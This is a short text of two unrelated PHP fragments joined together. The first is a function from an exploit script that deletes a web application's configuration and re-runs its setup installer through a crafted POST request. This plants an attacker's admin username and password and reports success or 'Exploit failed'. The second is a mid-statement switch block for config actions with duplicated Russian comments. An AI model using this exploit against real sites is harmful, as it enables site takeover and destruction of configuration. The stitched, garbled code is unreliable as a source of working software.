function re_install() { global $host, $path; $binary = "username=staker&password=killingyourself&password2=killingyourself&setuplanguage=en"; $config = "POST {$path}/setup/index.php?step=5 HTTP/1.1\r\n"; $config .= "User-Agent: Lynx (textmode)\r\n"; $config .= "Host: {$host}\r\n"; $config .= "Content-Type: application/x-www-form-urlencoded\r\n"; $config .= "Content-Length: " . strlen($binary) . "\r\n"; $config .= "Connection: close\r\n\r\n"; $config .= $binary; remove_config(); $content = send_request($config); if (eregi('Creation of the configuration file', $content)) { echo "[ re-installed successful\n"; echo "[ username: staker\n[ password: killingyourself\n"; exit(0); } else { die("Exploit failed\n"); } }
$return = get_contents($mysqli, null); break; // Читает конфиг // Читает конфиг case "read": $return = read_config($mysqli, $_POST['CONF']); break; // Читает конфиг // Читает конфиг case "activate": $return = activate_config($mysqli, $_POST['CONF']); break; // Удаляет конфиг // Удаляет конфиг case "remove": $return = remove_config($mysqli, $_POST['CONF']); break; // Сохраняет конфиг // Сохраняет конфиг case "save": $return = save_config($mysqli, $_POST['CONF'], $_POST['CONFTEXT']); break; // Добавляет новую строку конфигурации // Добавляет новую строку конфигурации case "add": $return = add_new_config($mysqli, $_POST['CONF'], $_POST['CONFTEXT']); break; } // Отключимся от базы db_disconnect($mysqli); // Выведем результат